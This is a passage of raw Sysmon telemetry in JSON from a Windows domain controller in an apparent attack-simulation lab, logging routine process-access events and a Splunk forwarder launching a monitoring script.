C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nTargetProcessId: 3864\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010104E0300}","TargetProcessId":"3864","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.205\r\nProcessGuid: {90617006-3FE9-5F2D-0000-00107D510300}\r\nProcessId: 3688\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinPrintMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.205","ProcessGuid":"{90617006-3FE9-5F2D-0000-00107D510300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinPrintMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 